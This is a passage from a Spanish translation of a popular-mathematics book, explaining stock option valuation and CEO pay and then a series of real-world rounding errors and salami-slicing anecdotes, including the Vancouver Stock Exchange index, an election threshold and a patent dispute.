120	dólares,	significa	que	ahora	puedes	ejercer	tu	opción	y	comprar	la	acción
por	 100	 dólares	 y	 venderla	 inmediatamente	 en	 el	 mercado	 abierto	 por	 120
dólares.	Si	el	precio	de	la	acción	baja	a	80	dólares,	entonces	no	la	ejerces	y	no
compras	 nada.	 Por	 lo	 que	 la	 stock	 option	 tiene	 un	 valor	 en	 sí	misma:	 solo
puedes	ganar	dinero	(o	quedarte	igual).	Motivo	por	el	cual	hay	que	pagar	por
ellas	primero	y	pueden	ser	vendidas	después.

El	cálculo	del	valor	de	las	stock	options	no	es	directo	y	solo	se	desarrolló
relativamente	 hace	 poco,	 en	 1973,	 con	 la	 fórmula	 Black-Scholes-Merton.
Black	falleció,	pero	Scholes	y	Merton	ganaron	el	premio	Nobel	de	economía
en	1997	por	su	fórmula.	Fijar	el	precio	de	las	stock	options	 implica	tener	en
cuenta	 cosas	 como	 calcular	 con	 qué	 probabilidad	 el	 valor	 de	 la	 acción
cambiará	y	cuánto	interés	se	puede	haber	generado	con	el	dinero	gastado	en	la
opción,	 y	 todo	 eso	 es	 factible.	 Finaliza	 con	 una	 fórmula	 de	 apariencia
enrevesada.	Y	aquí	es	donde	los	consejos	de	administración	de	las	empresas
empezaron	a	ir	mal.

La	relación	directa	entre	el	número	de	stock	options	y	el	valor	que	se	 le
estaba	 abonando	 al	 CEO	 no	 fue	 obvia	 para	 todos	 los	 directores	 desde	 el
principio.	 Fíjese	 en	 qué	 ocurre	 cuando	 comparamos	 otros	 tipos	 de
compensaciones	con	sus	valores	reales:

Valor	del	sueldo	=	[cantidad	de	dólares]	×	1	dólar
Valor	de	la	acción	=	[cantidad	de	acciones]	×	[valor	por	acción]

Valor	de	las	stock	options	=
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S	=	precio	actual	de	la	stock	option
T	=	tiempo	que	ha	de	pasar	para	que	se	pueda	ejercer	la	stock	option

r	=	tasa	de	interés	libre	de	riesgos
N	=	distribución	normal	predeterminada	acumulativa

σ	=	volatibilidad	o	rentabilidad	de	la	tasa	de	cambio	de	la	acción	(calculado	con	la
desviación	estándar)

Aunque	parece	compleja,	 la	versión	abreviada	es	que	S	delante	significa
que	el	valor	de	las	stock	options	escala	con	el	valor	actual	de	la	acción.	Pero,
aunque	 los	comités	ejecutivos	 redujeron	el	número	de	acciones	que	daban	a
los	CEO	 cuando	 los	 valores	 de	 esas	 acciones	 subían,	 la	 investigación	 de	 la
Universidad	 de	Chicago	 y	 de	Dartmouth	College	 demostró	 que	 los	 comités
ejecutivos	sufrieron	una	especie	de	«rigidez	numérica»	al	conceder	las	stock
options:	 el	 número	 que	 concedieron	 fue	 sorprendentemente	 rígido.	 Incluso
después	de	una	división	de	acciones,	cuando	a	los	CEO	se	les	dio	el	doble	de
acciones	 para	 compensar	 que	 la	 acción	 valía	 la	 mitad,	 el	 número	 de	 stock
options	 no	 cambió.	 Los	 consejos	 administrativos	 siguieron	 dando	 el	mismo
número	de	stock	options,	ignorando,	al	parecer,	su	valor.	Y	durante	la	década
de	1990	y	a	inicios	de	la	del	2000	el	valor	subió	un	montón.

Y	 entonces,	 en	 2006,	 un	 cambio	 en	 la	 reglamentación	 hizo	 que	 las
empresas	tuvieran	que	utilizar	la	fórmula	Black-Scholes-Merton	para	declarar
el	valor	de	las	stock	options	que	estaban	pagando	a	sus	CEO.	Una	vez	que	las
matemáticas	 fueron	 obligatorias	 y	 los	 consejos	 de	 administración	 se	 vieron
obligados	a	 fijarse	 en	 el	valor	 real	de	 las	 stock	options,	 la	 rigidez	numérica
desapareció	y	 las	opciones	se	ajustaron	basándose	en	su	valor.	La	explosión
de	 los	 salarios	 de	 los	CEO	 se	 detuvo.	 Esto	 no	 quiere	 decir	 que	 se	 redujera
hasta	 los	niveles	 anteriores	 a	 la	 explosión:	una	vez	 establecidos,	 las	 fuerzas
del	 mercado	 no	 permitirían	 que	 el	 nivel	 cayese.	 Los	 cuantiosos	 paquetes
salariales	de	los	CEO	que	se	siguen	otorgando	en	la	actualidad	son	un	fósil	de
la	época	en	la	que	los	consejos	administrativos	no	utilizaban	las	matemáticas.
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Nueve

REDONDEANDO
En	 las	 elecciones	 de	 1992	 celebradas	 en	 Schleswig-Holstein,	 Alemania,	 el
Partido	 Verde	 obtuvo	 exactamente	 el	 5%	 de	 los	 votos.	 Fue	 un	 hecho
importante,	 porque	 los	 partidos	 que	 obtuvieran	menos	 del	 5%	 de	 los	 votos
totales	no	podían	tener	escaños	en	el	Parlamento.	Con	el	5%	de	los	votos,	el
Partido	Verde	podría	tener	un	miembro.	Se	produjo	una	gran	celebración.

Por	 lo	 menos,	 todo	 el	 mundo	 pensó	 que	 habían	 obtenido	 el	 5%	 de	 los
votos,	y	así	fue	publicado.	En	realidad,	habían	obtenido	únicamente	el	4,97%
de	 los	votos.	El	 sistema	que	presentaba	 los	 resultados	 redondeaba	 todos	 los
porcentajes	a	una	cifra	decimal,	convirtiendo	el	4,97%	en	5%.	Se	analizaron
los	votos,	se	encontró	 la	discrepancia	y	 los	Verdes	perdieron	su	escaño.	Por
este	 motivo,	 los	 socialdemócratas	 ganaron	 un	 escaño	 extra	 que	 les	 dio	 la
mayoría.	Un	simple	redondeo	cambió	el	resultado	de	unas	elecciones.

La	 política	 parece	 tener	 una	 fuerza	 motivadora	 para	 que	 las	 personas
traten	de	retorcer	los	números	tanto	como	puedan.	Y	redondear	es	una	buena
forma	 de	 exprimir	 un	 poco	 más	 unos	 números	 que,	 de	 lo	 contrario,	 son
inflexibles.	 Como	 profesor,	 solía	 plantearles	 a	 mis	 estudiantes	 de	 séptimo
curso	 preguntas	 como:	 «Si	 una	 tabla	 tiene	 3	metros	 de	 largo	 (redondeando
hasta	 el	metro	más	cercano),	 ¿cuánto	mide	 realmente?».	Bien,	podría	medir
cualquier	cifra	entre	2,5	metros	y	3,49	metros	(o	tal	vez	algo	así	como	2,500
metros	hasta	3,4999	metros,	dependiendo	de	las	convenciones	del	redondeo).
Parece	ser	que	algunos	políticos	son	tan	inteligentes	como	un	niño	de	séptimo
curso.

Durante	el	primer	año	de	la	presidencia	de	Donald	Trump,	su	Casa	Blanca
intentaba	 derogar	 la	 Ley	 de	 Protección	 del	 Paciente	 y	 Atención	 Sanitaria
Asequible	 (ACA	 o	 PPACA,	 por	 sus	 siglas	 en	 inglés)	 conocida	 como
Obamacare.	Al	hacerlo	mediante	legislación	y	ver	que	era	mucho	más	difícil
de	lo	que	esperaban,	volvieron	a	redondear.

Y	aunque	la	ACA	establecía	las	directrices	oficiales	para	el	mercado	de	la
salud,	 el	Departamento	 de	Salud	 y	 Servicios	 Sociales	 era	 el	 responsable	 de
redactar	 las	 regulaciones	 basadas	 en	 la	 ACA.	 En	 febrero	 de	 2017,	 este
departamento,	 ahora	 controlado	 por	 Trump,	 escribió	 a	 la	 Oficina	 de
Administración	y	Presupuesto	de	Estados	Unidos	proponiendo	unos	cambios
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en	la	regulación.	Parece	ser	que,	si	la	administración	Trump	no	podía	cambiar
la	ACA,	iba	a	 intentar	cambiar	cómo	esta	se	 interpretaba.	Es	como	tratar	de
cumplir	 con	 las	 condiciones	 impuestas	 por	 una	orden	 judicial	 cambiando	 el
nombre	de	su	perro	por	el	de	«agente	de	libertad	vigilada».

Según	algunos	asesores	y	lobistas	de	la	industria	con	los	que	contactó	el
Huffington	Post,	uno	de	los	cambios	era	incrementar	los	aumentos	que	podían
aplicar	las	compañías	de	seguros	a	sus	clientes	de	mayor	edad.	La	ACA	había
establecido	directrices	muy	claras	respecto	a	que	las	compañías	de	seguros	no
podían	aumentar	el	precio	a	los	clientes	de	mayor	edad	más	del	triple	que	la
prima	que	abonaban	los	clientes	jóvenes.	La	asistencia	sanitaria	debería	ser	un
juego	 de	 promedios,	 siendo	 su	 objetivo	 que	 todo	 el	 mundo	 compartiera	 la
carga	de	manera	igualitaria.	La	ACA	intentó	limitar	cuánto	se	podían	separar
las	aseguradoras	de	ese	ideal.

Al	 parecer,	 la	 administración	Trump	quería	 permitir	 a	 las	 compañías	 de
seguros	aumentar	a	 los	clientes	de	más	edad	el	precio	hasta	3,49	veces	más
que	lo	que	pagaban	los	jóvenes,	utilizando	el	argumento	de	que	redondeando
a	la	baja	3,49	nos	da	3.	Casi	me	impresiona	su	atrevimiento	matemático.	Pero
solo	porque	un	número	se	pueda	redondear	y	producir	un	nuevo	valor	no	hace
que	 sea	 el	 mismo	 número.	 También	 podrían	 haber	 tachado	 trece	 de	 las
veintisiete	enmiendas	de	la	Constitución	alegando	que	nada	había	cambiado,
entendiendo	que	se	había	redondeado	a	la	Constitución	entera	más	cercana.

Este	cambio	propuesto	por	la	administración	Trump	nunca	fue	aprobado,
pero	 sí	 que	planteó	una	 cuestión	 interesante.	Si	 la	ACA	dijo	 explícitamente
«múltiplo	 de	 tres,	 redondeado	 a	 una	 cifra	 significativa»,	 tendrían	 un
argumento	al	que	agarrarse.	Existe	una	interesante	interacción	entre	las	leyes
de	 las	 matemáticas	 y	 la	 legislación.	 Hace	 unos	 años,	 recibí	 una	 llamada
telefónica	 de	 un	 abogado	 que	 quería	 hablar	 sobre	 redondeos	 y	 porcentajes.
Estaba	trabajando	en	un	caso	sobre	una	patente	de	un	producto	que	utilizaba
una	 sustancia	 con	 una	 concentración	 de	 un	 1%.	 Otros	 habían	 empezado	 a
fabricar	 un	producto	parecido,	 pero	utilizando	una	 concentración	del	 0,77%
de	 la	 sustancia	 en	 cuestión.	El	 propietario	 de	 la	 patente	 original	 los	 llevó	 a
juicio	porque	creían	que	la	cifra	de	0,77%	se	redondea	al	1%	y,	por	lo	tanto,
infringía	su	patente.

Pensé	que	era	un	tema	muy	interesante	porque,	si	el	redondeo	se	hacía,	en
efecto,	 inocentemente	 al	 punto	 porcentual	más	 cercano,	 entonces,	 sí,	 el	 1%
incluiría	 el	0,77%.	Utilizando	este	 sistema,	 toda	cifra	 entre	0,5%	y	1,5%	se
redondea	a	1%.	Pero,	dada	la	naturaleza	científica	de	la	patente,	sospeché	que
estaba	especificada	técnicamente	a	una	cifra	significativa.	Y	eso	es	diferente:
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redondear	a	una	cifra	significativa	hace	que	todo	aquello	entre	0,95%	y	1,5%
pase	a	ser	1%.	Pero	si	cambiamos	la	definición	del	redondeo,	el	umbral	más
bajo	 pasa	 a	 ser	 de	 repente	 mucho	 más	 cercano	 y	 excluye	 el	 0,77%.	 Y,
efectivamente,	 el	 0,77%	 redondeado	 a	 una	 cifra	 significativa	 es	 0,8%.	 No
estaría	infringiendo	la	patente.

Fue	muy	 divertido	 explicarle	 a	 un	 abogado	 cómo	 redondear	 a	 una	 cifra
significativa	provoca	un	 rango	asimétrico	de	valores	 alrededor	del	 punto	de
redondeo.	 Es	 una	 peculiaridad	 del	 modo	 en	 que	 escribimos	 los	 números.
Cuando	un	número	sube	un	valor	posicional	en	nuestro	 sistema	de	base	10,
los	números	hasta	un	50%	mayores	que	él,	pero	solo	hasta	un	5%	menores,	se
redondean	a	ese	valor.	Todo	lo	que	hay	entre	99,5	y	150	se	redondea	para	dar
100.	Así	que,	si	alguien	le	promete	a	usted	100	euros	(una	cifra	significativa),
puede	 reclamarle	149,99	euros.	De	ahora	en	adelante,	 llamaré	a	esto	«hacer
un	Donald».

Habiendo	 al	 menos	 intentado	 comprender	 lo	 que	 estaba	 diciendo,	 el
abogado	 fue	muy	 profesional	 y	 ni	 siquiera	me	 dijo	 a	 cuál	 de	 las	 partes	 del
caso	 representaba.	 Simplemente	 fue	 una	 lección	 improvisada	 sobre	 el
redondeo.	 Pero	 unos	 años	 después	 recordé	 esa	 llamada	 telefónica	 y	 sentí
curiosidad	sobre	qué	acabó	sucediendo.	Para	llegar	a	una	conclusión,	busqué
por	 todas	 partes	 hasta	 que	 encontré	 el	 juicio	 y	 el	 fallo	 definitivo.	 ¡El	 juez
estaba	 de	 acuerdo	 conmigo!	 Consideró	 que	 el	 número	 que	 aparecía	 en	 la
patente	tendría	que	haberse	especificado	hasta	una	cifra	significativa,	y,	por	lo
tanto,	 0,77%	 era	 diferente	 de	 1%.	Así	 acabó	 el	 caso	más	 importante	 de	mi
carrera	(redondeado	al	siguiente	caso	entero).

Forofos	del	0,49

La	administración	Trump	consideró	un	coeficiente	del	3,49	por	una	buena	 razón.
Aunque	 el	 3,5	 habría	 permitido	 incluso	 un	margen	más	 amplio,	 habría	 resultado
ambiguo,	 ya	 que	no	 se	 sabría	 si	 redondearlo	 hacia	 arriba	 o	 hacia	 abajo,	mientras
que	está	claro	que	un	3,49	se	redondea	hacia	abajo.

Cuando	se	redondea	al	número	entero	más	cercano,	todo	lo	que	está	por	debajo
de	0,5	se	redondea	hacia	abajo,	y	todo	lo	que	está	por	encima,	hacia	arriba.	Pero	0,5
está	 exactamente	 entre	 los	dos	números	 enteros	posibles,	 así	 que	no	hay	ganador
obvio.

La	mayoría	 de	 las	 veces	 lo	 habitual	 es	 redondear	 0,5	 hacia	 arriba.	Si	 hubiera
originalmente	 algo	 después	 del	 5	 (por	 ejemplo,	 si	 el	 número	 era	 algo	 así	 como
0,5000001),	entonces	lo	correcto	es	redondear	hacia	arriba.	Pero	redondear	siempre
los	0,5	hacia	arriba	puede	hinchar	la	suma	de	una	serie	de	números.	Una	solución
es	redondear	siempre	hacia	el	número	par	más	cercano,	con	la	teoría	de	que	ahora
cada	 0,5	 tiene	 una	 probabilidad	 aleatoria	 de	 ser	 redondeado	 hacia	 arriba	 o	 hacia
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abajo.	Esto	elimina	el	sesgo	hacia	arriba,	pero	ahora	produce	una	desviación	hacia
los	números	pares,	lo	cual	podría,	hipotéticamente,	provocar	otros	problemas.
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Redondeo	hacia	arriba Redondeo	hacia	los	números	pares

0,5 1 0

1 1 1

1,5 2 2

2 2 2

2,5 3 2

3 3 3

3,5 4 4

4 4 4

4,5 5 4

5 5 5

5,5 6 6

6 6 6

6,5 7 6

7 7 7

7,5 8 8

8 8 8

8,5 9 8

9 9 9

9,5 10 10

10 10 10

Suma: 105 110 105

Los	 números	 de	 0,5	 a	 10	 dan	 un	 total	 de	 105.	 Al	 redondear	 cada	 número	 hacia
arriba	 aumenta	 el	 total	 a	 110,	 mientras	 que	 redondearlo	 hacia	 el	 número	 par
mantiene	la	suma	en	105.	Sin	embargo,	ahora	tres	cuartas	partes	de	los	números	son
pares.
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Arreglando	el	problema	técnico

En	 enero	 de	 1982,	 la	 bolsa	 de	 Vancouver	 lanzó	 un	 índice	 que	 medía	 qué
cantidad	 de	 las	 diversas	 acciones	 que	 se	 habían	 intercambio	 valían	 la	 pena.
Un	«índice»	de	un	mercado	bursátil	es	un	intento	de	monitorizar	los	cambios
en	 los	 precios	 de	 una	 muestra	 de	 acciones	 como	 indicativo	 general	 sobre
cómo	 se	 está	 moviendo	 el	 mercado.	 El	 índice	 FTSE	 100	 es	 un	 promedio
ponderado	 de	 las	 cien	 empresas	más	 importantes	 (por	 su	 valor	 de	mercado
total)	en	la	bolsa	de	Londres.	El	Dow	Jones	se	calcula	a	partir	de	la	suma	de
los	precios	de	las	acciones	de	las	treinta	empresas	más	importantes	de	Estados
Unidos	(donde	la	General	Electric	está	desde	inicios	del	siglo	XX	y	Apple	solo
desde	2015).	La	bolsa	de	Tokio	tiene	el	índice	Nikkei.	Vancouver	quería	tener
su	propio	índice.

Así	 que	 nació	 el	 índice	 de	 la	 bolsa	 de	 Vancouver.	 No	 le	 pusieron	 el
nombre	más	creativo	para	un	índice	bursátil,	pero	era	compresible:	el	 índice
era	un	promedio	de	más	o	menos	 las	1.500	empresas	que	participaban	en	 la
bolsa.	 Inicialmente,	 se	 le	 dio	 al	 índice	 un	 valor	 de	 1.000	 y,	 a	 partir	 de
entonces,	 el	 movimiento	 del	 mercado	 haría	 fluctuar	 el	 valor	 hacia	 arriba	 o
hacia	abajo.	Excepto	que	fue	mucho	más	hacia	abajo	que	hacia	arriba.	Incluso
cuando	parecía	que	al	mercado	le	iba	bien,	el	índice	de	la	bolsa	de	Vancouver
seguía	 cayendo.	 En	 noviembre	 de	 1983,	 cerró	 una	 semana	 con	 524,811
puntos,	 casi	 la	mitad	 de	 su	 valor	 inicial.	 Pero	 el	mercado	 bursátil	 no	 había
caído	a	la	mitad	de	su	valor.	Algo	estaba	mal.

El	 error	 estaba	 en	 el	 modo	 en	 el	 que	 los	 ordenadores	 realizaban	 los
cálculos	del	 índice.	Cada	vez	que	 cambiaba	 el	 valor	 de	 alguna	 acción,	 algo
que	 ocurría	 unas	 tres	 mil	 veces	 cada	 día,	 el	 índice	 actualizaba	 su	 valor
mediante	 un	 cálculo.	 Este	 cálculo	 producía	 un	 valor	 con	 cuatro	 cifras
decimales,	pero	la	versión	que	se	daba	del	índice	al	público	tenía	solo	tres;	el
último	 dígito	 se	 eliminaba.	Hay	 que	 aclarar	 que	 el	 valor	 no	 se	 redondeaba:
simplemente	 se	 descartaba	 el	 último	 dígito.	 Este	 error	 no	 se	 hubiera
producido	si	 los	valores	se	hubieran	redondeado	(lo	cual	hubiera	sido	 tantas
veces	hacia	arriba	como	hacia	abajo),	en	lugar	de	recortado.	Cada	vez	que	se
realizaba	un	cálculo,	el	valor	del	índice	bajaba	un	poquito.

Cuando	 la	 bolsa	 se	 percató	 de	 lo	 que	 estaba	 sucediendo,	 llamaron	 a
algunos	asesores	a	 los	que	les	 llevó	tres	semanas	recalcular	cuál	 tendría	que
haber	sido	el	índice	sin	el	error.	Durante	una	noche,	en	noviembre	de	1983	y
después	 de	 recalcularlo,	 el	 índice	 pasó	 del	 incorrecto	 524,811	 a	 1.098,892.
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Eso	supone	un	incremento	de	574,081	durante	una	noche	sin	estar	asociado	a
ningún	 cambio	 producido	 en	 el	 mercado[17].	 No	 tengo	 ni	 idea	 de	 cómo
respondieron	los	operadores	a	un	salto	inesperado	como	ese;	como	si	hubiera
sido	 una	 especie	 de	 anticrac.	 En	 lugar	 de	 saltar,	 entraron	 por	 la	 ventana	 y
expulsaron	cocaína	por	sus	narices.

Usted	 también	puede	utilizar	 los	 redondeos	en	sus	miniestafas.	Digamos
por	ejemplo	que	alguien	le	presta	100	euros	y	le	promete	devolvérselo	en	un
mes	 con	 un	 15%	 de	 intereses.	 Eso	 haría	 un	 total	 de	 15	 euros	 de	 intereses.
Pero,	dado	que	usted	es	supergeneroso,	le	ofrece	calcular	el	interés	una	vez	al
día	 durante	 los	 31	 días	 del	 mes	 que	 tiene	 para	 devolver	 el	 dinero	 y,	 para
simplificar	 las	 cosas	 (porque,	 ¿quién	 quiere	 vérselas	 con	 unas	matemáticas
complicadas?),	 todos	 los	cálculos	 se	 redondearán	hacia	 la	cifra	de	euro	más
cercana.

Sin	redondeos,	el	interés	compuesto	durante	un	mes	sería	de	16,14	euros
y,	si	 lo	que	hacemos	es	 redondear	hacia	 la	cifra	entera	de	euro	más	cercana
es…	0.	Ningún	interés.	Dividido	entre	31	días,	el	15%	es	0,484%	por	día.	Por
lo	que,	después	del	primer	día,	el	dinero	que	debe	asciende	a	100,484	euros,
pero,	dado	que	redondea	hacia	 la	cifra	entera	más	cercana,	esos	0,484	euros
desaparecen	y	de	nuevo	debe	100	euros.	Esto	 se	 repite	cada	día	y	 su	deuda
nunca	acumula	interés	alguno.	También	tiene	el	efecto	colateral	de	redondear
hacia	abajo	el	número	de	personas	que	le	prestarán	dinero	a	coste	cero.

Si	se	redondean	los	suficientes	números	en	una	cantidad	diminuta,	aunque
cada	redondeo	individual	pueda	ser	demasiado	pequeño	para	que	se	note,	se
puede	 producir	 un	 resultado	 acumulado	 considerable.	 El	 término	 «salami
slicing»	(recorte	progresivo)	se	utiliza	para	referirse	a	un	sistema	en	el	que	se
va	quitando	algo	gradualmente	pero	cada	vez	es	una	cantidad	tan	pequeña	que
casi	 es	 imperceptible.	 Cada	 rodaja	 que	 se	 le	 quita	 al	 salami	 puede	 ser	 tan
delgada	 que	 el	 salami	 no	 parece	 diferente,	 por	 lo	 que,	 si	 se	 repite	 las
suficientes	 veces,	 se	 puede	 haber	 cortado,	 con	 sutileza,	 un	 buen	 pedazo.	El
salami	 también	 es	 una	 buena	 analogía	 porque	 está	 compuesto	 por	 carne
picada,	 por	 lo	 que	 todas	 las	 rodajas	 de	 salami	 se	 podrían	 recomponer	 a
posteriori	 y	 formar	 de	 nuevo	 una	 salchicha	 funcional.	 Y	me	 gustaría	 dejar
bien	 claro	 que	 no	 estoy	 intentando	meter	 la	 frase	 «salchicha	 funcional»	 en
este	libro	por	una	apuesta.

Un	 ataque	 mediante	 un	 redondeo	 a	 la	 baja	 con	 un	 recorte	 progresivo
formaba	 parte	 del	 argumento	 de	 la	 película	 de	 1999	 Trabajo	 basura	 (y	 lo
mismo	 ocurría	 en	 Superman	 III).	 Los	 protagonistas	 alteran	 el	 código
informático	de	una	empresa	para	que,	cuando	se	calcule	el	interés,	en	lugar	de
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redondearse	 hacia	 el	 penique	 más	 cercano	 el	 valor	 sea	 truncado	 y	 las
fracciones	restantes	de	un	penique	fueran	depositadas	en	su	cuenta.	Al	igual
que	 ocurrió	 con	 el	 índice	 de	 la	 bolsa	 de	Vancouver,	 este	 caso	 podría	 haber
pasado	inadvertido	mientras	las	fracciones	de	esos	peniques	se	iban	sumando
gradualmente.

Parece	ser	que	la	mayoría	de	estafas	del	mundo	real	que	utilizan	el	recorte
progresivo	 utilizan	 cantidades	 más	 grandes	 que	 simples	 fracciones	 de	 un
penique,	pero	siguen	operando	por	debajo	del	umbral	a	partir	del	cual	la	gente
se	 da	 cuenta	 y	 se	 queja.	Un	malversador	 de	 un	 banco	 escribió	 un	 software
para	retirar	veinte	o	 treinta	centavos	de	cuentas	al	azar,	nunca	atacando	a	 la
misma	 cuenta	 más	 de	 tres	 veces	 en	 un	 año.	 Dos	 programadores	 de	 una
empresa	de	Nueva	York	 incrementaron	 las	 retenciones	 fiscales	 en	 todos	 los
cheques	que	pagaba	la	empresa	en	dos	centavos	cada	semana,	pero	enviaban
el	dinero	a	sus	propias	cuentas	de	retenciones	por	lo	que	ingresaban	todo	ese
dinero	como	devolución	de	impuestos	al	final	del	año.	Existen	rumores	de	que
un	 empleado	 de	 un	 banco	 canadiense	 utilizó	 la	 estafa	 del	 redondeo	 de
intereses	para	hacerse	 con	70.000	dólares	 (y	 solo	 fue	descubierto	 cuando	el
banco	 buscó	 la	 cuenta	 más	 activa	 para	 concederle	 un	 premio),	 pero	 no	 he
podido	encontrar	ninguna	prueba	que	respalde	esa	historia.

Con	esto	no	estoy	diciendo	que	no	existan	efectos	del	recorte	progresivo
que	 puedan	 causar	 problemas.	 Las	 empresas	 de	 Estados	Unidos	 tienen	 que
retener	un	6,2%	del	sueldo	de	sus	empleados	como	impuestos	de	la	Seguridad
Social.	 Si	 una	 compañía	 tiene	 suficientes	 empleados,	 calcular	 el	 6,2%	 que
deben	individualmente	y	redondear	cada	pago	podría	dar	un	total	ligeramente
diferente	de	si	el	 total	de	 las	nóminas	se	multiplicara	por	6,2%.	Dispuesto	a
no	 pasar	 por	 alto	 ningún	 truco,	 el	 Servicio	 de	 Impuestos	 Internos	 tiene	 una
opción	 de	 «ajuste	 de	 fracciones	 de	 céntimos»	 en	 los	 formularios	 de	 los
impuestos	de	las	empresas	para	asegurarse	de	esta	forma	de	que	se	contabiliza
hasta	el	último	centavo.

El	cambio	de	moneda	también	puede	causar	problemas,	ya	que	los	valores
más	 pequeños	 de	 los	 diferentes	 países	 son	 distintos.	 Una	 buena	 parte	 de
Europa	 utiliza	 el	 euro	 como	moneda	 (cada	 euro	 equivale	 a	 cien	 céntimos),
pero	Rumania	 sigue	 utilizando	 el	 leu	 (un	 leu	 son	 cien	 bani).	 Cuando	 estoy
escribiendo	esto,	el	tipo	de	cambio	es	de	4,67	lei	(plural	de	leu)	por	un	euro,
lo	que	significa	que	un	céntimo	de	euro	vale	más	que	un	bani.	Si	lleváramos
dos	bani	a	una	casa	de	cambio	de	moneda,	redondearían	a	cero	céntimos	y	no
nos	darían	nada.	O	es	posible	hacer	que	el	 redondeo	vaya	a	nuestro	 favor	y
ocultarlo	 en	una	 transacción	menos	 sospechosa:	11	 leu	equivalen	a	2,35546
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euros,	que	se	redondearían	hacia	arriba	y	nos	darían	2,36	euros.	Al	cambiarlo
de	 nuevo	 obtendríamos	 11,02	 lei.	 Suponiendo	 que	 no	 haya	 cargos	 por	 la
transacción,	tenemos	2	bani	de	beneficio	neto.

En	 2013,	 el	 doctor	 rumano	 Adrian	 Furtuna,	 investigador	 en	 seguridad,
intentó	algo	parecido:	hacer	transacciones	de	moneda	a	través	de	un	banco	en
el	 que	 el	 redondeo	 del	 euro	 le	 reportaría	 alrededor	 de	medio	 céntimo	 cada
vez.	 Pero	 el	 banco	 que	 Furtuna	 estaba	 utilizando	 requería	 un	 código	 de	 un
dispositivo	 de	 seguridad	 para	 cada	 transacción,	 por	 lo	 que	 construyó	 un
aparato	 que	 tecleara	 automáticamente	 los	 números	 requeridos	 en	 su
dispositivo	 para	 cada	 transacción	 y	 leyera	 el	 código	 que	 le	 enviaban.	 Esto
significa	que	podía	colocar	14.400	transacciones	por	día,	con	lo	que	obtenía
68	 euros	 diarios.	 En	 realidad,	 nunca	 lo	 hizo:	 Furtuna	 había	 sido	 contratado
por	el	banco	para	que	pusiera	a	prueba	su	seguridad	y	no	tenía	permiso	para
intentarlo	con	el	sistema	bancario	real.

Yo,	por	otro	lado,	intenté	mi	propio	«recorte	progresivo»	en	el	mundo	real
cuando	 vivía	 en	 Australia.	 En	 1992,	 Australia	 retiró	 de	 la	 circulación	 las
monedas	de	uno	y	dos	céntimos,	por	lo	que	la	cantidad	utilizable	más	pequeña
cuando	se	pagaba	en	metálico	es	ahora	una	moneda	de	cinco	céntimos.	Por	lo
tanto,	al	pagar	en	metálico	el	coste	total	se	redondea	hacia	arriba	o	hacia	abajo
para	 llegar	 a	 la	 cifra	 de	 cinco	 céntimos	más	 cercana.	Mi	 plan	 era	 sencillo:
pagaba	en	metálico	siempre	que	el	redondeo	fuera	a	mi	favor,	es	decir	hacia
abajo,	y	pagaba	con	tarjeta	cuando	se	hubiera	redondeado	hacia	arriba.	Más	o
menos	 en	 la	 mitad	 de	 mis	 compras	 ¡estaba	 ahorrando	 centavos!	 Era	 una
especie	de	genio	criminal	en	pequeño.

Errores	a	la	carrera

El	récord	mundial	de	los	100	metros	lisos	es	uno	de	los	logros	deportivos	más
prestigiosos,	y	la	Federación	Internacional	de	Atletismo	(IAAF	por	sus	siglas
en	inglés)	lo	lleva	registrando	desde	hace	más	de	un	siglo.	Cuando,	en	1912,
la	 IAAF	 empezó	 a	 registrar	 los	 tiempos,	 el	 récord	 masculino	 era	 de	 10,6
segundos	y	 se	ha	 ido	 rebajando	desde	 entonces.	En	1968	bajó	hasta	 los	9,9
segundos,	rompiendo	por	fin	 la	barrera	de	 los	diez	segundos.	Y	entonces,	el
velocista	 norteamericano	 Jim	 Hines	 batió	 de	 nuevo	 el	 récord	 mundial
dejándolo	en	9,95	segundos.	Que	era	un	tiempo	mayor	que	el	anterior	récord.

El	tiempo	marcado	por	Jim	Hines	en	1968	de	9,95	segundos	fue	el	primer
récord	mundial	en	el	que	se	utilizaron	dos	cifras	decimales	y,	de	esta	manera,
batió	 el	 anterior	 récord	 del	mundo	 de	 9,9	 segundos	 registrado	 hacía	 cuatro
meses.	Acababa	de	empezar	el	cronometraje	electrónico,	que	daría	lugar	a	un
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nuevo	nivel	de	precisión:	las	centésimas	de	segundo.	El	récord	anterior	de	9,9
segundos	 también	 pertenecía	 a	 Hines,	 por	 lo	 que,	 al	 parecer,	 cuando	 se
instauró	 el	 uso	 del	 cronometraje	 electrónico	 cambiaron	 su	 récord	 para	 que
fuera	 el	 peor	 posible	 que	 pudiera	 seguir	 registrado	 como	 9,9	 segundos
redondeado	a	la	décima	de	segundo	más	cercana.

El	 material	 utilizado	 para	 el	 cronometraje	 siempre	 ha	 influido	 en	 los
récords	medidos.	En	 la	 década	de	 1920,	 se	 utilizaban	 tres	 relojes	 diferentes
controlados	manualmente	 para	 evitar	 los	 errores	 de	 cronometraje.	 Pero	 solo
eran	 precisos	 hasta	 la	 quinta	 parte	 de	 segundo	 más	 cercana,	 por	 lo	 que	 el
récord	de	10,6	segundos	se	estableció	en	julio	de	1912,	y	 los	10,4	segundos
no	se	alcanzaron	hasta	abril	de	1921.	Suponiendo	que	los	velocistas	eran	cada
vez	mejores	a	un	ritmo	constante[18],	he	calculado	que,	alrededor	de	junio	de
1917,	 algún	 pobre	 corredor	 seguramente	 corrió	 los	 100	 metros	 en	 10,5
segundos,	 pero	 ningún	 reloj	 era	 lo	 suficientemente	 bueno	 para	 dejar
constancia	de	ello.

También	 se	 cambió	 la	 precisión	 cuando	 se	 pasó	 de	 tomar	 el	 tiempo	 de
manera	manual	a	hacerlo	electrónicamente.	Es	más	acertado	confiar	 tanto	 la
salida	como	 la	 llegada	a	un	cronómetro	electrónico	que	a	 los	humanos,	 con
sus	 tiempos	 de	 reacción	 tan	 poco	 rigurosos.	 A	 menudo,	 la	 precisión	 y	 la
exactitud	van	de	la	mano,	pero	son	dos	cosas	muy	diferentes.	La	precisión	es
el	nivel	de	detalle	dado,	y	la	exactitud	es	cuán	verdadero	es	algo.	Yo	puedo
decir	con	exactitud	que	nací	en	la	Tierra,	pero	no	es	algo	muy	preciso.	Puedo
decir	con	precisión	que	nací	en	la	latitud	37.229ºN,	longitud	115.811ºW,	pero
eso	 no	 es	 del	 todo	 exacto.	 Lo	 que	 nos	 da	 un	 montón	 de	 espacio	 para
maniobrar	cuando	respondemos	preguntas	si	quien	pregunta	no	nos	pide	que
seamos	 precisos	 y	 exactos.	 Siendo	 exacto	 puedo	 decir,	 por	 ejemplo,	 que
alguien	se	ha	bebido	toda	la	cerveza.	Siendo	preciso	diría	que	un	albanés	que
